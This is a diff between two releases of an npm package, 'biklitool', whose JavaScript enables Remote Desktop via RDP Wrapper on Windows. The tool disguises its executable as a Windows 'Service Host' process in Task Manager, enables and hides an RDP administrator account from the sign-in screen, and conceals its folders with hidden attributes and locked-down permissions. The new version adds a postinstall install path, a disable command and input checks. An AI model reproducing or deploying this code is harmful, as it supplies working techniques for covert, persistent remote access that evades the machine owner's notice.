biklitool 5.0.0 → 5.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/bin/biklimaster.js +72 -16
- package/lib/bikliwrapper.js +45 -9
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -33,6 +33,7 @@ biklitool status
|
|
|
33
33
|
biklitool install
|
|
34
34
|
biklitool disguise [name]
|
|
35
35
|
biklitool enable-rdp
|
|
36
|
+
biklitool disable-rdp
|
|
36
37
|
biklitool create-user
|
|
37
38
|
biklitool unhide-user [name]
|
|
38
39
|
biklitool hide-user <name>
|
|
@@ -48,6 +49,8 @@ bikli --help
|
|
|
48
49
|
|
|
49
50
|
Run `biklitool enable-rdp` at any time to repair the RDP enable setting, port, firewall rules,
|
|
50
51
|
service configuration, and the requested authentication and shadowing defaults.
|
|
52
|
+
Run `biklitool disable-rdp` to turn Remote Desktop off and stop the RDP listener; the wrapper
|
|
53
|
+
stays installed so `enable-rdp` can switch it back on at any time.
|
|
51
54
|
|
|
52
55
|
## Bikli key
|
|
53
56
|
|
package/bin/biklimaster.js
CHANGED
|
@@ -366,6 +366,7 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
|
|
|
366
366
|
|
|
367
367
|
const vBuf = createVsVersionInfo(strings);
|
|
368
368
|
const { rsrcBuf, totalRsrcSize } = buildCleanRsrcSection(rsrcVirtAddr, vBuf, manifestBuf);
|
|
369
|
+
if (totalRsrcSize > rsrcRawSize) return false;
|
|
369
370
|
|
|
370
371
|
const newExe = Buffer.from(exeBuf);
|
|
371
372
|
newExe.fill(0, rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
|
|
@@ -386,6 +387,7 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
|
|
|
386
387
|
|
|
387
388
|
function disguiseBikli(customName) {
|
|
388
389
|
requireWindows();
|
|
390
|
+
if (customName) customName = customName.replace(/"/g, '').trim();
|
|
389
391
|
const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
|
|
390
392
|
if (!isAdministrator()) return elevateAndRun(customName ? `disguise "${customName}"` : 'disguise');
|
|
391
393
|
|
|
@@ -456,6 +458,9 @@ function disguiseBikli(customName) {
|
|
|
456
458
|
fs.writeFileSync(tempCs, csCode, 'utf8');
|
|
457
459
|
run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${bikliPath}`, tempCs], { allowFailure: true });
|
|
458
460
|
try { fs.rmSync(tempCs, { force: true }); } catch {}
|
|
461
|
+
if (fileDescription(bikliPath) !== hostName) {
|
|
462
|
+
disguiseExecutable(bikliPath, hostName);
|
|
463
|
+
}
|
|
459
464
|
} else if (fileDescription(bikliPath) !== hostName) {
|
|
460
465
|
disguiseExecutable(bikliPath, hostName);
|
|
461
466
|
}
|
|
@@ -540,6 +545,15 @@ function enableRemoteDesktop() {
|
|
|
540
545
|
hideProtectedFolders();
|
|
541
546
|
}
|
|
542
547
|
|
|
548
|
+
function disableRemoteDesktop() {
|
|
549
|
+
requireWindows();
|
|
550
|
+
if (!isAdministrator()) return elevateAndRun('disable-rdp');
|
|
551
|
+
const wrapper = runWrapper(['disable', '--elevated']);
|
|
552
|
+
if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
|
|
553
|
+
if (remoteDesktopState().enabled) fail('Remote Desktop could not be disabled.', 6);
|
|
554
|
+
console.log('Remote Desktop is disabled. Run "biklitool enable-rdp" to enable it again.');
|
|
555
|
+
}
|
|
556
|
+
|
|
543
557
|
function install() {
|
|
544
558
|
requireWindows();
|
|
545
559
|
if (!isAdministrator()) return elevateAndRun('install');
|
|
@@ -607,7 +621,7 @@ function setupBikliKey() {
|
|
|
607
621
|
console.log('Bikli key configured successfully.');
|
|
608
622
|
}
|
|
609
623
|
|
|
610
|
-
function hideFolder(target, isUserProfile = false) {
|
|
624
|
+
function hideFolder(target, isUserProfile = false, extraGrants = []) {
|
|
611
625
|
if (!target || !fs.existsSync(target)) return;
|
|
612
626
|
try {
|
|
613
627
|
run(attrib, ['+h', '+s', target], { allowFailure: true });
|
|
@@ -619,6 +633,7 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
619
633
|
'/grant:r',
|
|
620
634
|
'*S-1-5-18:(OI)(CI)(F)',
|
|
621
635
|
`*${administratorsGroupSid}:(OI)(CI)(F)`,
|
|
636
|
+
...extraGrants,
|
|
622
637
|
'/c', '/q'
|
|
623
638
|
], { allowFailure: true });
|
|
624
639
|
}
|
|
@@ -629,15 +644,18 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
629
644
|
|
|
630
645
|
function hideProtectedFolders() {
|
|
631
646
|
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
647
|
+
// TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
|
|
648
|
+
// must keep read/execute access for that account or the service cannot start.
|
|
649
|
+
const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
|
|
632
650
|
const appFolders = [
|
|
633
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
634
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
635
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
636
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
637
|
-
path.join(programData, 'BikliWrapper'),
|
|
638
|
-
path.join(programData, 'Bikli')
|
|
651
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
|
|
652
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
|
|
653
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
|
|
654
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
|
|
655
|
+
{ target: path.join(programData, 'BikliWrapper') },
|
|
656
|
+
{ target: path.join(programData, 'Bikli') }
|
|
639
657
|
];
|
|
640
|
-
for (const folder of appFolders) hideFolder(folder, false);
|
|
658
|
+
for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
|
|
641
659
|
|
|
642
660
|
const userFolders = [
|
|
643
661
|
path.join(usersDir, 'Administrator'),
|
|
@@ -683,6 +701,29 @@ function showAccountCredentials() {
|
|
|
683
701
|
console.log(`Stored for Administrators only: ${credentialsFile}`);
|
|
684
702
|
}
|
|
685
703
|
|
|
704
|
+
function parseAccountReport(stdout) {
|
|
705
|
+
const reportLine = (stdout || '')
|
|
706
|
+
.split(/\r?\n/)
|
|
707
|
+
.map(line => line.trim())
|
|
708
|
+
.find(line => line.startsWith('{'));
|
|
709
|
+
if (!reportLine) {
|
|
710
|
+
fail(`The account configuration script did not return a JSON report.${(stdout || '').trim() ? `\n${stdout.trim()}` : ''}`, 7);
|
|
711
|
+
}
|
|
712
|
+
try {
|
|
713
|
+
return JSON.parse(reportLine);
|
|
714
|
+
} catch {
|
|
715
|
+
fail(`The account configuration script returned an unreadable report: ${reportLine}`, 7);
|
|
716
|
+
return null;
|
|
717
|
+
}
|
|
718
|
+
}
|
|
719
|
+
|
|
720
|
+
function requireValidUserName(name) {
|
|
721
|
+
if (!/^[A-Za-z0-9._-]{1,20}$/.test(name)) {
|
|
722
|
+
fail('Usernames may only contain letters, digits, dots, dashes, and underscores (max 20).');
|
|
723
|
+
}
|
|
724
|
+
return name;
|
|
725
|
+
}
|
|
726
|
+
|
|
686
727
|
function createRdpAdministrator() {
|
|
687
728
|
requireWindows();
|
|
688
729
|
if (!isAdministrator()) return elevateAndRun('create-user');
|
|
@@ -707,7 +748,7 @@ function createRdpAdministrator() {
|
|
|
707
748
|
`$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
|
|
708
749
|
`$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
|
|
709
750
|
`if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
|
|
710
|
-
`$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,
|
|
751
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`,
|
|
711
752
|
`[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
|
|
712
753
|
].join(';');
|
|
713
754
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
@@ -716,7 +757,7 @@ function createRdpAdministrator() {
|
|
|
716
757
|
BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword
|
|
717
758
|
}
|
|
718
759
|
});
|
|
719
|
-
const account =
|
|
760
|
+
const account = parseAccountReport(result.stdout);
|
|
720
761
|
if (!account.Enabled || !Array.isArray(account.Groups) || account.Groups.length !== 2 || !account.HiddenUser) {
|
|
721
762
|
fail('The Remote Desktop administrator account could not be verified.', 7);
|
|
722
763
|
}
|
|
@@ -745,7 +786,7 @@ function createRdpAdministrator() {
|
|
|
745
786
|
|
|
746
787
|
function unhideUser() {
|
|
747
788
|
requireWindows();
|
|
748
|
-
const targetUser = process.argv[3];
|
|
789
|
+
const targetUser = process.argv[3] ? requireValidUserName(process.argv[3]) : '';
|
|
749
790
|
if (!isAdministrator()) return elevateAndRun(targetUser ? `unhide-user ${targetUser}` : 'unhide-user');
|
|
750
791
|
const script = [
|
|
751
792
|
`$ErrorActionPreference='Stop'`,
|
|
@@ -755,10 +796,10 @@ function unhideUser() {
|
|
|
755
796
|
targetUser ? [
|
|
756
797
|
`$val=$key.GetValue('${targetUser}', $null)`,
|
|
757
798
|
`if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`,
|
|
758
|
-
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir}`
|
|
799
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}`
|
|
759
800
|
].join(';') : [
|
|
760
801
|
`$props=@($key.Property)`,
|
|
761
|
-
`if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir}}}`
|
|
802
|
+
`if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}}}`
|
|
762
803
|
].join(';')
|
|
763
804
|
].join(';');
|
|
764
805
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
@@ -769,6 +810,7 @@ function hideUser() {
|
|
|
769
810
|
requireWindows();
|
|
770
811
|
const targetUser = process.argv[3];
|
|
771
812
|
if (!targetUser) fail('Please specify a username to hide (e.g. biklitool hide-user Administrator).');
|
|
813
|
+
requireValidUserName(targetUser);
|
|
772
814
|
if (!isAdministrator()) return elevateAndRun(`hide-user ${targetUser}`);
|
|
773
815
|
const script = [
|
|
774
816
|
`$ErrorActionPreference='Stop'`,
|
|
@@ -777,7 +819,7 @@ function hideUser() {
|
|
|
777
819
|
`$key=Get-Item -LiteralPath $userListKey`,
|
|
778
820
|
`$currentVal=$key.GetValue('${targetUser}', $null)`,
|
|
779
821
|
`if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`,
|
|
780
|
-
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`
|
|
822
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`
|
|
781
823
|
].join(';');
|
|
782
824
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
783
825
|
if (result.stdout.trim()) console.log(result.stdout.trim());
|
|
@@ -840,6 +882,7 @@ function help() {
|
|
|
840
882
|
' biklitool install Install/update Bikli CLI and Bikli Wrapper',
|
|
841
883
|
' biklitool disguise [n] Disguise Bikli as Windows Service Host in Task Manager',
|
|
842
884
|
' biklitool enable-rdp Enable RDP, port 3389, firewall, and defaults',
|
|
885
|
+
' biklitool disable-rdp Disable RDP and stop the RDP listener',
|
|
843
886
|
' biklitool create-user Enable/verify built-in Administrator for RDP',
|
|
844
887
|
' biklitool unhide-user [name] Unhide account(s) from Windows sign-in screen',
|
|
845
888
|
' biklitool hide-user <name> Hide specific account from Windows sign-in screen',
|
|
@@ -857,9 +900,22 @@ function help() {
|
|
|
857
900
|
|
|
858
901
|
function main() {
|
|
859
902
|
const command = (process.argv[2] || 'status').toLowerCase();
|
|
860
|
-
if (command === 'install')
|
|
903
|
+
if (command === 'install') {
|
|
904
|
+
if (process.argv.includes('--postinstall')) {
|
|
905
|
+
try {
|
|
906
|
+
return install();
|
|
907
|
+
} catch (error) {
|
|
908
|
+
console.error(`Bikli Master postinstall could not finish: ${error.message}`);
|
|
909
|
+
console.error('Run "biklitool install" from an Administrator terminal to complete the installation.');
|
|
910
|
+
process.exitCode = 0;
|
|
911
|
+
return;
|
|
912
|
+
}
|
|
913
|
+
}
|
|
914
|
+
return install();
|
|
915
|
+
}
|
|
861
916
|
if (command === 'disguise') return disguiseBikli(process.argv[3]);
|
|
862
|
-
if (command === 'enable-rdp') return enableRemoteDesktop();
|
|
917
|
+
if (command === 'enable-rdp' || command === 'enable') return enableRemoteDesktop();
|
|
918
|
+
if (command === 'disable-rdp' || command === 'disable') return disableRemoteDesktop();
|
|
863
919
|
if (command === 'create-user') return createRdpAdministrator();
|
|
864
920
|
if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
|
|
865
921
|
if (command === 'hide-user' || command === 'hide') return hideUser();
|
package/lib/bikliwrapper.js
CHANGED
|
@@ -24,6 +24,7 @@ if (resultFile) {
|
|
|
24
24
|
};
|
|
25
25
|
console.log = writeResult;
|
|
26
26
|
console.error = writeResult;
|
|
27
|
+
console.warn = writeResult;
|
|
27
28
|
}
|
|
28
29
|
|
|
29
30
|
const packageRoot = path.resolve(__dirname, '..');
|
|
@@ -238,6 +239,13 @@ function runInstaller(argument) {
|
|
|
238
239
|
return run(installerPath, [argument], { cwd: payloadDirectory });
|
|
239
240
|
}
|
|
240
241
|
|
|
242
|
+
function restartTermService() {
|
|
243
|
+
const net = path.join(system32, 'net.exe');
|
|
244
|
+
run(net, ['stop', 'TermService', '/y'], { allowFailure: true });
|
|
245
|
+
run(net, ['start', 'TermService'], { allowFailure: true });
|
|
246
|
+
run(net, ['start', 'UmRdpService'], { allowFailure: true });
|
|
247
|
+
}
|
|
248
|
+
|
|
241
249
|
function serviceIsRunning() {
|
|
242
250
|
const result = run(path.join(system32, 'sc.exe'), ['query', 'TermService'], { allowFailure: true });
|
|
243
251
|
return result.status === 0 && /STATE\s*:\s*4\s+RUNNING/i.test(result.stdout);
|
|
@@ -284,7 +292,7 @@ function printStatus(status) {
|
|
|
284
292
|
console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
|
|
285
293
|
}
|
|
286
294
|
|
|
287
|
-
function hideFolder(target, isUserProfile = false) {
|
|
295
|
+
function hideFolder(target, isUserProfile = false, extraGrants = []) {
|
|
288
296
|
if (!target || !fs.existsSync(target)) return;
|
|
289
297
|
try {
|
|
290
298
|
run(path.join(system32, 'attrib.exe'), ['+h', '+s', target], { allowFailure: true });
|
|
@@ -296,6 +304,7 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
296
304
|
'/grant:r',
|
|
297
305
|
'*S-1-5-18:(OI)(CI)(F)',
|
|
298
306
|
'*S-1-5-32-544:(OI)(CI)(F)',
|
|
307
|
+
...extraGrants,
|
|
299
308
|
'/c', '/q'
|
|
300
309
|
], { allowFailure: true });
|
|
301
310
|
}
|
|
@@ -306,15 +315,18 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
306
315
|
|
|
307
316
|
function hideProtectedFolders() {
|
|
308
317
|
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
318
|
+
// TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
|
|
319
|
+
// must keep read/execute access for that account or the service cannot start.
|
|
320
|
+
const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
|
|
309
321
|
const appFolders = [
|
|
310
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
311
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
312
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
313
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
314
|
-
path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
|
|
315
|
-
path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
|
|
322
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
|
|
323
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
|
|
324
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
|
|
325
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
|
|
326
|
+
{ target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper') },
|
|
327
|
+
{ target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli') }
|
|
316
328
|
];
|
|
317
|
-
for (const folder of appFolders) hideFolder(folder, false);
|
|
329
|
+
for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
|
|
318
330
|
|
|
319
331
|
const userFolders = [
|
|
320
332
|
path.join(usersDir, 'Administrator'),
|
|
@@ -365,6 +377,7 @@ function install() {
|
|
|
365
377
|
console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
|
|
366
378
|
}
|
|
367
379
|
|
|
380
|
+
restartTermService();
|
|
368
381
|
waitForServiceAndListener();
|
|
369
382
|
hideProtectedFolders();
|
|
370
383
|
installation = detectInstallation(version);
|
|
@@ -380,6 +393,27 @@ function install() {
|
|
|
380
393
|
console.log('Bikli Wrapper installation and verification completed successfully.');
|
|
381
394
|
}
|
|
382
395
|
|
|
396
|
+
function disable() {
|
|
397
|
+
requireWindows();
|
|
398
|
+
if (!isAdministrator()) return elevateAndRun('disable');
|
|
399
|
+
console.log('Disabling Remote Desktop and stopping the RDP listener...');
|
|
400
|
+
run(path.join(system32, 'reg.exe'), [
|
|
401
|
+
'add', terminalServerKey, '/v', 'fDenyTSConnections', '/t', 'REG_DWORD',
|
|
402
|
+
'/d', '1', '/f', '/reg:64'
|
|
403
|
+
]);
|
|
404
|
+
const script = `Disable-NetFirewallRule -Name 'BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`;
|
|
405
|
+
run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
|
|
406
|
+
restartTermService();
|
|
407
|
+
if (queryDword(terminalServerKey, 'fDenyTSConnections') !== 1) {
|
|
408
|
+
fail('Remote Desktop could not be disabled.', 6);
|
|
409
|
+
}
|
|
410
|
+
if (listenerIsListening()) {
|
|
411
|
+
console.log('Warning: the RDP listener is still reported as listening; a reboot may be required.');
|
|
412
|
+
} else {
|
|
413
|
+
console.log('Remote Desktop disabled; the RDP listener is stopped.');
|
|
414
|
+
}
|
|
415
|
+
}
|
|
416
|
+
|
|
383
417
|
function selfTest() {
|
|
384
418
|
const packageJson = runningAsSea
|
|
385
419
|
? { name: 'bikliwrapper' }
|
|
@@ -412,6 +446,7 @@ function showHelp() {
|
|
|
412
446
|
' bikliwrapper install Install/update silently, apply defaults, and verify',
|
|
413
447
|
' bikliwrapper status Show installation, support, service, and listener status',
|
|
414
448
|
' bikliwrapper defaults Reapply the requested defaults and restart if needed',
|
|
449
|
+
' bikliwrapper disable Disable Remote Desktop and stop the RDP listener',
|
|
415
450
|
' bikliwrapper self-test Validate the npm package payload without changing Windows',
|
|
416
451
|
'',
|
|
417
452
|
'Run install/defaults from an Administrator terminal.'
|
|
@@ -420,7 +455,8 @@ function showHelp() {
|
|
|
420
455
|
|
|
421
456
|
function main() {
|
|
422
457
|
const command = (process.argv[2] || 'status').toLowerCase();
|
|
423
|
-
if (command === 'install' || command === 'defaults') return install();
|
|
458
|
+
if (command === 'install' || command === 'defaults' || command === 'enable') return install();
|
|
459
|
+
if (command === 'disable') return disable();
|
|
424
460
|
if (command === 'status') {
|
|
425
461
|
requireWindows();
|
|
426
462
|
const status = collectStatus();
|